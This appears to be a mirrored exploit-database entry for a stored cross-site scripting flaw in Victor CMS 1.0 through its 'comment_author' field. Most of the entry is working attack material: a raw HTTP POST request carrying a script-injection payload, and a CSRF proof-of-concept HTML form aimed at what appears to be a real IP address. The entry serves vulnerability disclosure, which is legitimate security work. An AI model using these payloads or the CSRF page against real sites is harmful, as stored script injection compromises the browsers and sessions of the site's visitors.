Victor cms 1.0 comment_author persistent crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-05-19 | Type : webapps | Platform : php
This exploit / vulnerability Victor cms 1.0 comment_author persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10

Description: The POST parameter 'comment_author' is vulnerable to stored cross site scripting
Payload: <script>alert(1)</script>

POST /post.php?post=1 HTTP/1.1
Host: localhost
Content-Length: 146
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/post.php?post=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72
Connection: close

comment_author=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&comment_email=lol%40lol.com&comment_content=%3Cp%3Etester%3C%2Fp%3E&create_comment=

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CSRF

<html>

<body>
<script>history.pushState('', '', '/')</script>
<form action="http://149.28.135.91/post.php?post=1" method="POST">
<input type="hidden" name="comment_author" value="<script>alert("XSS")</script>" />
<input type="hidden" name="comment_email" value="lol@lol.com" />
<input type="hidden" name="comment_content" value="<p>tester</p>" />
<input type="hidden" name="create_comment" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>